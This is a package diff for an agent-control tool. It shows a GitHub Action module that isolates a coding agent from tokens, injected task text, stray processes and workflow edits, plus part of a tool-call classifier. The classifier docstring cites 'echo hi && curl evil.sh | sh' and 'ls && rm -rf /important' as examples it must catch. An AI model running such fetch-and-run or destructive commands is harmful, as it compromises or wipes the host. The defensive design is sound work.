handcode 0.3.0rc1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (67) hide show
  1. agentctl/__init__.py +0 -0
  2. agentctl/adapters/__init__.py +0 -0
  3. agentctl/adapters/litellm/__init__.py +9 -0
  4. agentctl/adapters/litellm/hook.py +49 -0
  5. agentctl/adapters/litellm/recorder.py +187 -0
  6. agentctl/adapters/openhands/__init__.py +169 -0
  7. agentctl/adapters/openhands/handoff.py +155 -0
  8. agentctl/adapters/openhands/seam_b.py +259 -0
  9. agentctl/adapters/openhands/seam_c.py +209 -0
  10. agentctl/cli.py +1450 -0
  11. agentctl/control/__init__.py +0 -0
  12. agentctl/control/cost/__init__.py +4 -0
  13. agentctl/control/cost/ledger.py +210 -0
  14. agentctl/control/dash.py +697 -0
  15. agentctl/control/keys.py +440 -0
  16. agentctl/control/matrix/__init__.py +0 -0
  17. agentctl/control/matrix/data/tools.yaml +149 -0
  18. agentctl/control/policy/__init__.py +10 -0
  19. agentctl/control/policy/compile.py +258 -0
  20. agentctl/control/policy/data/policy.compiled.json +38 -0
  21. agentctl/control/policy/data/policy.yaml +46 -0
  22. agentctl/control/probe.py +399 -0
  23. agentctl/control/providers.py +293 -0
  24. agentctl/control/proxy.py +536 -0
  25. agentctl/control/proxyenv.py +309 -0
  26. agentctl/control/replay/__init__.py +14 -0
  27. agentctl/control/replay/cassette.py +281 -0
  28. agentctl/control/replay/server.py +109 -0
  29. agentctl/demo/__init__.py +214 -0
  30. agentctl/demo/child.py +84 -0
  31. agentctl/demo/mock.py +79 -0
  32. agentctl/demo/tool.py +62 -0
  33. agentctl/gha.py +488 -0
  34. agentctl/kernel/__init__.py +0 -0
  35. agentctl/kernel/classify.py +170 -0
  36. agentctl/kernel/gate.py +391 -0
  37. agentctl/kernel/hook.py +229 -0
  38. agentctl/kernel/ledger/__init__.py +0 -0
  39. agentctl/kernel/ledger/models.py +160 -0
  40. agentctl/kernel/ledger/schema.sql +62 -0
  41. agentctl/kernel/ledger/store.py +596 -0
  42. agentctl/kernel/paths.py +203 -0
  43. agentctl/kernel/policy.py +160 -0
  44. agentctl/kernel/reconcile/__init__.py +31 -0
  45. agentctl/kernel/reconcile/base.py +106 -0
  46. agentctl/kernel/reconcile/external.py +137 -0
  47. agentctl/kernel/reconcile/filesystem.py +162 -0
  48. agentctl/kernel/reconcile/git.py +162 -0
  49. agentctl/runtime/__init__.py +20 -0
  50. agentctl/runtime/citations.py +179 -0
  51. agentctl/runtime/config.py +97 -0
  52. agentctl/runtime/doctor.py +335 -0
  53. agentctl/runtime/init.py +148 -0
  54. agentctl/runtime/lease.py +143 -0
  55. agentctl/runtime/orchestrate.py +187 -0
  56. agentctl/runtime/plugins.py +130 -0
  57. agentctl/runtime/report.py +361 -0
  58. agentctl/runtime/runner.py +787 -0
  59. agentctl/runtime/runs.py +191 -0
  60. agentctl/runtime/subagent.py +274 -0
  61. agentctl/runtime/tools.py +350 -0
  62. handcode-0.3.0rc1.dist-info/METADATA +659 -0
  63. handcode-0.3.0rc1.dist-info/RECORD +67 -0
  64. handcode-0.3.0rc1.dist-info/WHEEL +5 -0
  65. handcode-0.3.0rc1.dist-info/entry_points.txt +3 -0
  66. handcode-0.3.0rc1.dist-info/licenses/LICENSE +21 -0
  67. handcode-0.3.0rc1.dist-info/top_level.txt +1 -0
agentctl/gha.py ADDED
@@ -0,0 +1,488 @@
1
+ """The GitHub Action: `action.yml` (run) and `publish/action.yml`. docs/0053.
2
+
3
+ Two jobs on two machines, because the job that runs the agent cannot be
4
+ trusted with anything worth stealing. Text the agent reads can carry
5
+ instructions (prompt injection), and anything on the agent's machine can read
6
+ anything else there that runs as the same user, environment included.
7
+
8
+ run The agent works in the checkout. The job holds the model key and a
9
+ READ-only token, nothing else. Its work leaves as a git bundle plus
10
+ the end-of-run report (`docs/0048`).
11
+ publish A fresh machine that never runs the repository's code. It checks the
12
+ bundle, pushes it to a new branch, never the base, and opens a pull
13
+ request with the report as its description.
14
+
15
+ Standard library only, and no `agentctl` import: `publish` runs on the
16
+ runner's own python3 with nothing installed.
17
+ """
18
+ from __future__ import annotations
19
+
20
+ import base64
21
+ import json
22
+ import os
23
+ import re
24
+ import shlex
25
+ import signal
26
+ import subprocess
27
+ import sys
28
+ import time
29
+ import urllib.error
30
+ import urllib.request
31
+ from pathlib import Path
32
+
33
+ #: Events where a person with write access chose the task. Everything else
34
+ #: (issues, comments, pull requests from forks, ...) can carry a stranger's
35
+ #: text, and the I-26 injection canaries have not run yet (docs/0051 D10).
36
+ TRUSTED_EVENTS = frozenset({"workflow_dispatch", "schedule", "push",
37
+ "repository_dispatch"})
38
+
39
+ #: Never in the agent's environment. ACTIONS_* carries the runner's own
40
+ #: tokens (artifacts, cache, OIDC). The GITHUB_* files set later steps'
41
+ #: environment and outputs. INPUT_* are action inputs, the token among them.
42
+ _DROP = frozenset({"GITHUB_TOKEN", "GH_TOKEN", "GH_ENTERPRISE_TOKEN",
43
+ "GITHUB_ENTERPRISE_TOKEN", "HANDCODE_TOKEN",
44
+ "GITHUB_ENV", "GITHUB_OUTPUT", "GITHUB_PATH", "GITHUB_STATE",
45
+ "GITHUB_STEP_SUMMARY"})
46
+ _DROP_PREFIXES = ("ACTIONS_", "INPUT_")
47
+
48
+ BOT_NAME = "github-actions[bot]"
49
+ BOT_EMAIL = "41898283+github-actions[bot]@users.noreply.github.com"
50
+ RESULT_REF = "refs/handcode/result"
51
+ BODY_LIMIT = 60_000 # GitHub refuses a body over 65,536
52
+
53
+
54
+ class Refusal(Exception):
55
+ """A check failed. The message says what to change; exit 2."""
56
+
57
+
58
+ # ── git ───────────────────────────────────────────────────────────────────
59
+ def git(cwd: Path, *args: str, env: dict | None = None, check: bool = True) -> str:
60
+ p = subprocess.run(["git", *args], cwd=cwd, env=env, capture_output=True,
61
+ text=True, encoding="utf-8", errors="replace")
62
+ if check and p.returncode != 0:
63
+ raise Refusal(f"git {' '.join(args[:3])} failed: {p.stderr.strip()[:400]}")
64
+ return p.stdout.strip()
65
+
66
+
67
+ def _safe(scratch: Path) -> list[str]:
68
+ """Options for the git commands run AFTER the agent, in the repository the
69
+ agent could have reconfigured: no hooks, no fsmonitor command."""
70
+ hooks = scratch / "no-hooks"
71
+ hooks.mkdir(parents=True, exist_ok=True)
72
+ return ["-c", f"core.hooksPath={hooks.as_posix()}", "-c", "core.fsmonitor=false"]
73
+
74
+
75
+ # ── the checks before the agent starts ───────────────────────────────────
76
+ def check_event(env: dict) -> None:
77
+ name = env.get("GITHUB_EVENT_NAME", "")
78
+ if name and name not in TRUSTED_EVENTS:
79
+ raise Refusal(
80
+ f"refused: this run was triggered by a `{name}` event. Its text can "
81
+ f"come from anyone, and the agent would act on it. For now the "
82
+ f"Action runs on {', '.join(sorted(TRUSTED_EVENTS))} only, where a "
83
+ f"person with write access chose the task (docs/0053).")
84
+
85
+
86
+ def check_credentials(ws: Path) -> None:
87
+ """The agent can read .git/config. actions/checkout leaves the job's token
88
+ there unless told not to, which hands the agent that token."""
89
+ headers = git(ws, "config", "--includes", "--get-regexp",
90
+ r"^http\..*\.extraheader$", check=False)
91
+ remotes = git(ws, "remote", "-v", check=False)
92
+ if headers or re.search(r"://[^/@\s]+@", remotes):
93
+ raise Refusal(
94
+ "refused: the job's GitHub token is stored in this checkout's git "
95
+ "config, where the agent can read it. Add this to the checkout step:\n"
96
+ " - uses: actions/checkout@v4\n"
97
+ " with:\n"
98
+ " persist-credentials: false")
99
+
100
+
101
+ def check_clean(ws: Path) -> None:
102
+ dirty = git(ws, "status", "--porcelain").splitlines()
103
+ if dirty:
104
+ shown = "\n".join(f" {l}" for l in dirty[:5])
105
+ more = f"\n ... and {len(dirty) - 5} more" if len(dirty) > 5 else ""
106
+ raise Refusal(
107
+ "refused: the checkout already has changes, and they would end up in "
108
+ "the pull request as if the agent made them:\n" + shown + more +
109
+ "\n Commit them, or ignore them in .gitignore, before this step.")
110
+
111
+
112
+ def check_head(ws: Path, env: dict) -> str:
113
+ head = git(ws, "rev-parse", "HEAD")
114
+ want = env.get("GITHUB_SHA")
115
+ if want and head != want:
116
+ raise Refusal(
117
+ f"refused: the checkout is at {head[:12]}, not {want[:12]}, the commit "
118
+ f"this workflow run is for. The publish job checks the agent's work "
119
+ f"against that commit. Check out the default ref.")
120
+ return head
121
+
122
+
123
+ def agent_env(env: dict, runner_environment: str = "") -> dict:
124
+ """The agent's environment: the job's, minus every token GitHub put there.
125
+ The model key stays; the agent cannot work without it."""
126
+ out = {k: v for k, v in env.items()
127
+ if k not in _DROP and not k.startswith(_DROP_PREFIXES)}
128
+ if runner_environment == "github-hosted":
129
+ # The VM is discarded when the job ends, so a package install lands
130
+ # nowhere that lasts: the same containment as the image (docs/0052).
131
+ # A self-hosted runner is somebody's machine, and keeps asking.
132
+ out["HANDCODE_CONTAINER"] = "1"
133
+ out.update(GIT_AUTHOR_NAME=BOT_NAME, GIT_AUTHOR_EMAIL=BOT_EMAIL,
134
+ GIT_COMMITTER_NAME=BOT_NAME, GIT_COMMITTER_EMAIL=BOT_EMAIL,
135
+ GIT_TERMINAL_PROMPT="0")
136
+ return out
137
+
138
+
139
+ # ── leftover processes ────────────────────────────────────────────────────
140
+ def become_subreaper() -> bool:
141
+ """Linux: a process the agent leaves running re-parents to US, not to init,
142
+ however it detaches, so `sweep` can find it. Without this, a background
143
+ process could outlive the agent and read what later steps hold."""
144
+ if not sys.platform.startswith("linux"):
145
+ return False
146
+ try:
147
+ import ctypes
148
+ libc = ctypes.CDLL(None, use_errno=True)
149
+ return libc.prctl(36, 1, 0, 0, 0) == 0 # PR_SET_CHILD_SUBREAPER
150
+ except (OSError, AttributeError):
151
+ return False
152
+
153
+
154
+ def _descendants(root: int) -> set[int]:
155
+ parent: dict[int, int] = {}
156
+ for d in os.listdir("/proc"):
157
+ if not d.isdigit():
158
+ continue
159
+ try:
160
+ stat = Path(f"/proc/{d}/stat").read_text()
161
+ except OSError:
162
+ continue
163
+ # "pid (comm) state ppid ...": comm may hold spaces and parentheses.
164
+ parent[int(d)] = int(stat[stat.rindex(")") + 2:].split()[1])
165
+ found: set[int] = set()
166
+ grew = True
167
+ while grew:
168
+ grew = False
169
+ for pid, pp in parent.items():
170
+ if pid not in found and (pp == root or pp in found):
171
+ found.add(pid)
172
+ grew = True
173
+ return found
174
+
175
+
176
+ def sweep() -> int:
177
+ """Kill every process still descending from this one. Returns how many."""
178
+ if not sys.platform.startswith("linux"):
179
+ return 0
180
+ killed: set[int] = set()
181
+ for _ in range(10):
182
+ left = _descendants(os.getpid()) - killed
183
+ if not left:
184
+ break
185
+ for pid in left:
186
+ try:
187
+ os.kill(pid, signal.SIGKILL)
188
+ killed.add(pid)
189
+ except ProcessLookupError:
190
+ pass
191
+ time.sleep(0.2)
192
+ try:
193
+ while os.waitpid(-1, os.WNOHANG)[0]:
194
+ pass
195
+ except ChildProcessError:
196
+ pass
197
+ return len(killed)
198
+
199
+
200
+ # ── GitHub's files ────────────────────────────────────────────────────────
201
+ def set_outputs(env: dict, **values) -> None:
202
+ if path := env.get("GITHUB_OUTPUT"):
203
+ with open(path, "a", encoding="utf-8") as f:
204
+ for k, v in values.items():
205
+ lines = ("" if v is None else str(v)).splitlines()
206
+ f.write(f"{k}={lines[0] if lines else ''}\n")
207
+
208
+
209
+ def add_summary(env: dict, text: str) -> None:
210
+ if path := env.get("GITHUB_STEP_SUMMARY"):
211
+ with open(path, "a", encoding="utf-8") as f:
212
+ f.write(text.rstrip() + "\n")
213
+
214
+
215
+ def fenced(text: str, lang: str = "text") -> str:
216
+ """A code fence longer than any run of backticks inside: the report holds
217
+ what the agent said, which must not be able to close the fence."""
218
+ longest = max((len(m) for m in re.findall(r"`+", text)), default=0)
219
+ fence = "`" * max(3, longest + 1)
220
+ return f"{fence}{lang}\n{text}\n{fence}"
221
+
222
+
223
+ def run_url(env: dict) -> str:
224
+ return (f"{env.get('GITHUB_SERVER_URL', 'https://github.com')}/"
225
+ f"{env.get('GITHUB_REPOSITORY', '')}/actions/runs/{env.get('GITHUB_RUN_ID', '')}")
226
+
227
+
228
+ def first_line(task: str) -> str:
229
+ first = next((l.strip() for l in task.splitlines() if l.strip()), "a task")
230
+ return first if len(first) <= 60 else first[:57] + "..."
231
+
232
+
233
+ def title(task: str, report: dict | None) -> str:
234
+ first = first_line(task)
235
+ outcome = (report or {}).get("outcome", "no report")
236
+ tag = "" if (report or {}).get("ok") and outcome == "PASS" else f"[{outcome}] "
237
+ return f"{tag}handcode: {first}"
238
+
239
+
240
+ def render_body(task: str, report: dict | None, meta: dict, env: dict) -> str:
241
+ quoted = "\n".join("> " + l for l in (task.strip() or "(no task)").splitlines())
242
+ parts = [f"**HandCode** ran this task in [workflow run {env.get('GITHUB_RUN_ID', '')}]"
243
+ f"({run_url(env)}):", "", quoted, ""]
244
+ if report:
245
+ parts += [fenced(report.get("text", "")), ""]
246
+ else:
247
+ parts += ["agentctl wrote no report. The run's log says why.", ""]
248
+ if (k := meta.get("swept")):
249
+ parts += [f"{k} process(es) the agent left running were stopped when it "
250
+ f"finished.", ""]
251
+ parts += [
252
+ "<details><summary>Before you merge</summary>", "",
253
+ "- The agent's job held the model key and a read-only token. This branch "
254
+ "was pushed by a second job that runs none of the repository's code.",
255
+ "- The outcome above comes from `--accept`, run in the agent's job. "
256
+ "GitHub does not run workflows on a branch pushed with the workflow's own "
257
+ "token, so CI has not run here; push a commit or re-run it to get it.",
258
+ "- Review the diff as you would a stranger's. The task text, the "
259
+ "repository and every tool output were input to a model.",
260
+ "", "</details>"]
261
+ body = "\n".join(parts)
262
+ if len(body) > BODY_LIMIT:
263
+ body = body[:BODY_LIMIT - 200] + f"\n\n(cut at {BODY_LIMIT} characters; " \
264
+ f"the full report is in the run's log)"
265
+ return body
266
+
267
+
268
+ # ── run: the agent's job ──────────────────────────────────────────────────
269
+ def run(env: dict, agentctl: list[str] | None = None) -> int:
270
+ ws = Path(env.get("GITHUB_WORKSPACE") or ".").resolve()
271
+ out = Path(env.get("HANDCODE_OUT") or ws.parent / "handcode-out").resolve()
272
+ out.mkdir(parents=True, exist_ok=True)
273
+ task = env.get("HANDCODE_TASK", "").strip()
274
+ if not task:
275
+ raise Refusal("refused: no task. Set the action's `task` input.")
276
+ check_event(env)
277
+ check_credentials(ws)
278
+ check_clean(ws)
279
+ base = check_head(ws, env)
280
+
281
+ cmd = list(agentctl or [env.get("HANDCODE_AGENTCTL") or "agentctl"])
282
+ cmd += ["run", task, "--workspace", str(ws),
283
+ "--report-json", str(out / "report.json")]
284
+ if a := env.get("HANDCODE_ACCEPT", "").strip():
285
+ cmd += ["--accept", a]
286
+ if m := env.get("HANDCODE_MODEL", "").strip():
287
+ cmd += ["--model", m]
288
+ if n := env.get("HANDCODE_MAX_ITERATIONS", "").strip():
289
+ cmd += ["--max-iterations", n]
290
+ if b := env.get("HANDCODE_MAX_BUDGET", "").strip():
291
+ cmd += ["--max-budget", b]
292
+ cmd += shlex.split(env.get("HANDCODE_ARGS", ""))
293
+
294
+ reaper = become_subreaper()
295
+ print(f"handcode: running the agent (leftover processes "
296
+ f"{'will be stopped' if reaper else 'are not tracked on this OS'})",
297
+ flush=True)
298
+ rc = subprocess.call(cmd, cwd=ws, env=agent_env(env, env.get("HANDCODE_RUNNER_ENV", "")))
299
+ swept = sweep()
300
+ if swept:
301
+ print(f"handcode: stopped {swept} process(es) the agent left running")
302
+
303
+ report = None
304
+ if (out / "report.json").exists():
305
+ report = json.loads((out / "report.json").read_text(encoding="utf-8"))
306
+
307
+ # What the agent did not commit, committed for it. These git commands run
308
+ # in a repository the agent may have reconfigured, hence `_safe`, and
309
+ # nothing secret is in this process's environment.
310
+ safe = _safe(out)
311
+ genv = agent_env(env)
312
+ if git(ws, *safe, "status", "--porcelain", env=genv):
313
+ git(ws, *safe, "add", "-A", env=genv)
314
+ git(ws, *safe, "commit", "--no-verify", "-q", "-m",
315
+ f"{first_line(task)}\n\n{task}\n\nRun: {run_url(env)}",
316
+ env=genv)
317
+ head = git(ws, "rev-parse", "HEAD")
318
+ descends = subprocess.run(["git", "merge-base", "--is-ancestor", base, head],
319
+ cwd=ws, capture_output=True).returncode == 0
320
+ commits = int(git(ws, "rev-list", "--count", f"{base}..{head}")) if descends else 0
321
+ if commits:
322
+ git(ws, "update-ref", RESULT_REF, head)
323
+ git(ws, *safe, "bundle", "create", str(out / "result.bundle"),
324
+ RESULT_REF, f"^{base}", env=genv)
325
+ meta = {"base": base, "head": head, "commits": commits, "descends": descends,
326
+ "agentctl_exit": rc, "swept": swept, "task": task}
327
+ (out / "meta.json").write_text(json.dumps(meta, indent=2), encoding="utf-8")
328
+ swept += sweep() # anything `git` above was made to start
329
+
330
+ add_summary(env, "## HandCode\n\n" + render_body(task, report, meta, env))
331
+ set_outputs(env, outcome=(report or {}).get("outcome", "no report"),
332
+ ok=str(bool((report or {}).get("ok"))).lower(), commits=commits,
333
+ **{"conversation-id": (report or {}).get("conversation_id", "")})
334
+ if not descends:
335
+ print(f"handcode: HEAD ({head[:12]}) no longer descends from {base[:12]}: "
336
+ f"the agent rewrote history, so there is nothing to propose")
337
+ elif not commits:
338
+ print("handcode: no changes, so there is nothing to propose")
339
+ if report is None:
340
+ print(f"handcode: agentctl exited {rc} without a report")
341
+ return rc or 1
342
+ return 0
343
+
344
+
345
+ # ── publish: a fresh machine ──────────────────────────────────────────────
346
+ def _auth_env(work: Path, server: str, token: str) -> dict:
347
+ """git's environment for publishing: only config this job wrote (no global,
348
+ no system file), and the token as a header scoped to the server, set
349
+ through the environment rather than a command line or a file."""
350
+ empty = work / "empty.gitconfig"
351
+ empty.write_text("", encoding="utf-8")
352
+ e = {k: v for k, v in os.environ.items() if not k.startswith("GIT_")}
353
+ e.update(GIT_CONFIG_GLOBAL=str(empty), GIT_CONFIG_NOSYSTEM="1",
354
+ GIT_TERMINAL_PROMPT="0")
355
+ if token:
356
+ cred = base64.b64encode(f"x-access-token:{token}".encode()).decode()
357
+ e.update(GIT_CONFIG_COUNT="1",
358
+ GIT_CONFIG_KEY_0=f"http.{server.rstrip('/')}/.extraheader",
359
+ GIT_CONFIG_VALUE_0=f"AUTHORIZATION: basic {cred}")
360
+ return e
361
+
362
+
363
+ def github_api(method: str, url: str, token: str, body: dict) -> tuple[int, dict]:
364
+ req = urllib.request.Request(url, method=method, data=json.dumps(body).encode(),
365
+ headers={"Authorization": f"Bearer {token}",
366
+ "Accept": "application/vnd.github+json",
367
+ "X-GitHub-Api-Version": "2022-11-28"})
368
+ try:
369
+ with urllib.request.urlopen(req, timeout=60) as r:
370
+ return r.status, json.loads(r.read() or b"{}")
371
+ except urllib.error.HTTPError as e:
372
+ try:
373
+ return e.code, json.loads(e.read() or b"{}")
374
+ except ValueError:
375
+ return e.code, {}
376
+
377
+
378
+ def publish(env: dict, api=github_api) -> int:
379
+ inp = Path(env.get("HANDCODE_IN") or ".").resolve()
380
+ work = Path(env.get("RUNNER_TEMP") or inp.parent).resolve() / "handcode-publish"
381
+ token = env.get("HANDCODE_TOKEN", "")
382
+ server = env.get("GITHUB_SERVER_URL", "https://github.com").rstrip("/")
383
+ repo = env.get("GITHUB_REPOSITORY", "")
384
+ dry = env.get("HANDCODE_DRY_RUN", "").lower() in ("1", "true", "yes")
385
+
386
+ if not (inp / "meta.json").exists():
387
+ raise Refusal(f"refused: no result from the run job in {inp}. Did it fail?")
388
+ meta = json.loads((inp / "meta.json").read_text(encoding="utf-8"))
389
+ report = (json.loads((inp / "report.json").read_text(encoding="utf-8"))
390
+ if (inp / "report.json").exists() else None)
391
+ task = str(meta.get("task", ""))
392
+ ok = bool((report or {}).get("ok"))
393
+
394
+ # Everything from the run job is the agent's to forge, so it is checked
395
+ # against what GitHub, not the run job, says this run is for.
396
+ base = env.get("GITHUB_SHA", "")
397
+ ref = env.get("GITHUB_REF", "")
398
+ if not ref.startswith("refs/heads/"):
399
+ raise Refusal(f"refused: {ref or 'this ref'} is not a branch, so there is "
400
+ f"no branch for a pull request to target.")
401
+ base_branch = ref[len("refs/heads/"):]
402
+ if meta.get("base") != base:
403
+ raise Refusal(f"refused: the run job worked from {str(meta.get('base'))[:12]}, "
404
+ f"but this workflow run is for {base[:12]}.")
405
+ bundle = inp / "result.bundle"
406
+ if not bundle.exists():
407
+ print("handcode: the agent changed nothing, so there is no pull request")
408
+ set_outputs(env, **{"pull-request": "", "branch": ""})
409
+ return 0 if ok else 1
410
+
411
+ work.mkdir(parents=True, exist_ok=True)
412
+ genv = _auth_env(work, server, token)
413
+ url = f"{server}/{repo}.git"
414
+ git(work, "init", "-q", env=genv)
415
+ git(work, "fetch", "-q", "--depth=1", "--no-tags", url, base, env=genv)
416
+ git(work, "bundle", "verify", "-q", str(bundle), env=genv)
417
+ git(work, "fetch", "-q", str(bundle), f"{RESULT_REF}:{RESULT_REF}", env=genv)
418
+ head = git(work, "rev-parse", RESULT_REF, env=genv)
419
+ if subprocess.run(["git", "merge-base", "--is-ancestor", base, head], cwd=work,
420
+ env=genv, capture_output=True).returncode != 0:
421
+ raise Refusal(f"refused: the agent's work ({head[:12]}) does not build on "
422
+ f"{base[:12]}.")
423
+ files = git(work, "diff", "--name-only", base, head, env=genv).splitlines()
424
+ workflows = [f for f in files if f.startswith(".github/workflows/")]
425
+ if workflows:
426
+ raise Refusal(
427
+ "refused: the change edits a workflow file (" + ", ".join(workflows[:3]) +
428
+ "). A change to CI made by an agent needs a person, and the "
429
+ "workflow's token cannot push one anyway. The diff is in the bundle "
430
+ "artifact; apply it by hand if you want it.")
431
+ commits = int(git(work, "rev-list", "--count", f"{base}..{head}", env=genv))
432
+ branch = f"handcode/run-{env.get('GITHUB_RUN_ID', '0')}-{env.get('GITHUB_RUN_ATTEMPT', '1')}"
433
+ if branch == base_branch:
434
+ raise Refusal("refused: the new branch would be the base branch")
435
+ body = render_body(task, report, meta, env)
436
+ print(f"handcode: {commits} commit(s), {len(files)} file(s), "
437
+ f"{base[:12]}..{head[:12]} -> {branch}")
438
+ if dry:
439
+ print("handcode: dry run, nothing pushed\n\n" + title(task, report) + "\n\n" + body)
440
+ set_outputs(env, **{"pull-request": "", "branch": branch})
441
+ return 0
442
+
443
+ git(work, "push", "-q", "--no-verify", url, f"{head}:refs/heads/{branch}", env=genv)
444
+ pulls = f"{env.get('GITHUB_API_URL', 'https://api.github.com')}/repos/{repo}/pulls"
445
+ pr = {"title": title(task, report), "head": branch, "base": base_branch,
446
+ "body": body, "draft": not ok}
447
+ status, resp = api("POST", pulls, token, pr)
448
+ if status == 422 and pr["draft"] and "draft" in json.dumps(resp).lower():
449
+ pr["draft"] = False # a plan without draft PRs
450
+ status, resp = api("POST", pulls, token, pr)
451
+ if status == 403 and "not permitted to create" in json.dumps(resp).lower():
452
+ compare = f"{server}/{repo}/compare/{base_branch}...{branch}?expand=1"
453
+ print("handcode: the branch is pushed, but GitHub did not let the "
454
+ "workflow open the pull request. The repository's owner can allow it:\n"
455
+ " Settings > Actions > General > Workflow permissions >\n"
456
+ " \"Allow GitHub Actions to create and approve pull requests\"\n"
457
+ f"Or open it yourself: {compare}")
458
+ add_summary(env, f"Pushed `{branch}`. [Open the pull request]({compare}).")
459
+ set_outputs(env, **{"pull-request": "", "branch": branch})
460
+ return 1
461
+ if status >= 300:
462
+ raise Refusal(f"refused: GitHub answered {status} to opening the pull "
463
+ f"request: {str(resp.get('message', resp))[:300]}")
464
+ link = resp.get("html_url", "")
465
+ print(f"handcode: opened {link}" + ("" if ok else " as a draft: it needs you"))
466
+ add_summary(env, f"## HandCode\n\nOpened {link}")
467
+ set_outputs(env, **{"pull-request": link, "branch": branch})
468
+ return 0 if ok else 1
469
+
470
+
471
+ def main(argv: list[str] | None = None) -> int:
472
+ argv = sys.argv[1:] if argv is None else argv
473
+ step = argv[0] if argv else ""
474
+ try:
475
+ if step == "run":
476
+ return run(dict(os.environ))
477
+ if step == "publish":
478
+ return publish(dict(os.environ))
479
+ print("usage: gha.py run|publish", file=sys.stderr)
480
+ return 2
481
+ except Refusal as r:
482
+ print(f"handcode: {r}", file=sys.stderr)
483
+ print(f"::error title=HandCode::{str(r).splitlines()[0]}")
484
+ return 2
485
+
486
+
487
+ if __name__ == "__main__":
488
+ sys.exit(main())
File without changes
@@ -0,0 +1,170 @@
1
+ """Tool -> EffectClass. Spec: `docs/0012` §5.1.
2
+
3
+ Reads the capability matrix as *data*, by path. It never imports
4
+ `agentctl.control` — the kernel must run when the control plane is dead
5
+ (`docs/0008` R2), so it consumes the compiled artifact, not the code that
6
+ produced it.
7
+ """
8
+ from __future__ import annotations
9
+
10
+ import re
11
+ from pathlib import Path
12
+
13
+ import yaml
14
+
15
+ from .ledger.models import EffectClass, ToolCall
16
+
17
+ # Anything that can begin a new command. Substitution openers `$(` and a
18
+ # backtick count: what follows them runs as its own command.
19
+ _SHELL_SPLIT = re.compile(r"&&|\|\||;|\||\r?\n|\$\(|`")
20
+
21
+ DEFAULT_MATRIX = (
22
+ Path(__file__).resolve().parent.parent
23
+ / "control" / "matrix" / "data" / "tools.yaml"
24
+ )
25
+
26
+
27
+ class Classifier:
28
+ """Classifies a tool call by name, then by argument inspection.
29
+
30
+ Unknown tools get the configured default, which must be a dangerous class.
31
+ Being wrong in the safe direction costs a blocked turn; being wrong in the
32
+ unsafe direction costs a duplicated side effect.
33
+ """
34
+
35
+ def __init__(self, matrix_path: str | Path | None = None, matrix: dict | None = None):
36
+ if matrix is None:
37
+ path = Path(matrix_path or DEFAULT_MATRIX)
38
+ matrix = yaml.safe_load(path.read_text(encoding="utf-8"))
39
+ self._m = matrix or {}
40
+ self._tools: dict = self._m.get("tools") or {}
41
+ self._mcp: dict = self._m.get("mcp") or {}
42
+ default = (self._m.get("defaults") or {}).get("unknown_tool", "EXTERNAL")
43
+ self._default = EffectClass(default)
44
+ self._compiled: dict[str, list[tuple[re.Pattern, EffectClass, str | None]]] = {}
45
+
46
+ # ── public ─────────────────────────────────────────────────────────
47
+ def classify(self, call: ToolCall) -> EffectClass:
48
+ entry = self._entry(call.tool_name)
49
+ if entry is None:
50
+ return self._mcp_class(call.tool_name)
51
+
52
+ rules = entry.get("rules")
53
+ if rules:
54
+ hit = self._worst_match(call, entry, rules)
55
+ if hit is not None:
56
+ return hit[0]
57
+
58
+ declared = entry.get("class")
59
+ return EffectClass(declared) if declared else self._default
60
+
61
+ def idempotency_fields(self) -> dict[str, str]:
62
+ """{tool_name: argument that carries an idempotency key}.
63
+
64
+ Declared in the capability matrix. This is what lets an EXTERNAL effect
65
+ be retried safely instead of failing closed (`docs/0020`).
66
+ """
67
+ out: dict[str, str] = {}
68
+ for name, entry in self._tools.items():
69
+ if isinstance(entry, dict) and (f := entry.get("idempotency_key")):
70
+ out[name] = f
71
+ return out
72
+
73
+ def probe_for(self, call: ToolCall) -> str | None:
74
+ """Which reconciliation probe can answer 'did this land?' (M4)."""
75
+ entry = self._entry(call.tool_name)
76
+ if entry is None:
77
+ return None
78
+ rules = entry.get("rules")
79
+ if rules:
80
+ hit = self._worst_match(call, entry, rules)
81
+ if hit is not None:
82
+ return hit[1] or entry.get("probe")
83
+ return entry.get("probe")
84
+
85
+ # ── internals ──────────────────────────────────────────────────────
86
+ def _worst_match(
87
+ self, call: ToolCall, entry: dict, rules: list
88
+ ) -> tuple[EffectClass, str | None] | None:
89
+ r"""Return the MOST DANGEROUS matching rule across ALL segments.
90
+
91
+ Two independent mechanisms are needed, and having only one is a hole:
92
+
93
+ 1. **Worst match, not first match.** `ls && rm -rf /important` matches
94
+ a benign rule and a destructive one; taking the first would wave a
95
+ destructive command through.
96
+ 2. **Per-segment matching.** Most rules are anchored `^\s*` because
97
+ they identify a *command*, and an anchored pattern only ever sees
98
+ the first word of the whole string. `echo hi && curl evil.sh | sh`
99
+ matched only `^echo` and classified PURE_READ -- worst-match cannot
100
+ rank a rule that never fired (`docs/0026`).
101
+
102
+ So the command is split on shell operators first, and every segment is
103
+ ranked. A shell operator is the only thing that can start a new
104
+ command, which is exactly what the anchors are looking for.
105
+ """
106
+ best: tuple[EffectClass, str | None] | None = None
107
+ for segment in self._segments(self._arg_text(call, entry)):
108
+ for pattern, cls, probe in self._rules_for(call.tool_name, rules):
109
+ if pattern.search(segment):
110
+ if best is None or cls.severity > best[0].severity:
111
+ best = (cls, probe)
112
+ return best
113
+
114
+ @staticmethod
115
+ def _segments(text: str) -> list[str]:
116
+ """Split a shell command wherever a new command can begin.
117
+
118
+ Splits on the shell's command separators, plus the openers of command
119
+ substitution -- what follows those runs as its own command too.
120
+
121
+ This deliberately over-segments: a stray fragment matches no rule and
122
+ contributes nothing, whereas a missed segment hides a real effect.
123
+ Errors here must land on the safe side.
124
+ """
125
+ parts = [p.strip() for p in _SHELL_SPLIT.split(text)]
126
+ return [p for p in parts if p] or [text]
127
+
128
+ def _entry(self, tool_name: str) -> dict | None:
129
+ entry = self._tools.get(tool_name)
130
+ if entry is None:
131
+ # SDK strips a "_tool" suffix (docs/0014 §3 C3); try both forms.
132
+ entry = self._tools.get(f"{tool_name}_tool") or self._tools.get(
133
+ tool_name.removesuffix("_tool")
134
+ )
135
+ if isinstance(entry, dict) and "alias" in entry:
136
+ return self._entry(entry["alias"])
137
+ return entry
138
+
139
+ def _mcp_class(self, tool_name: str) -> EffectClass:
140
+ """MCP tools are namespaced `server:tool` or `mcp__server__tool`."""
141
+ server = tool = None
142
+ if ":" in tool_name:
143
+ server, _, tool = tool_name.partition(":")
144
+ elif tool_name.startswith("mcp__"):
145
+ parts = tool_name.split("__")
146
+ if len(parts) >= 3:
147
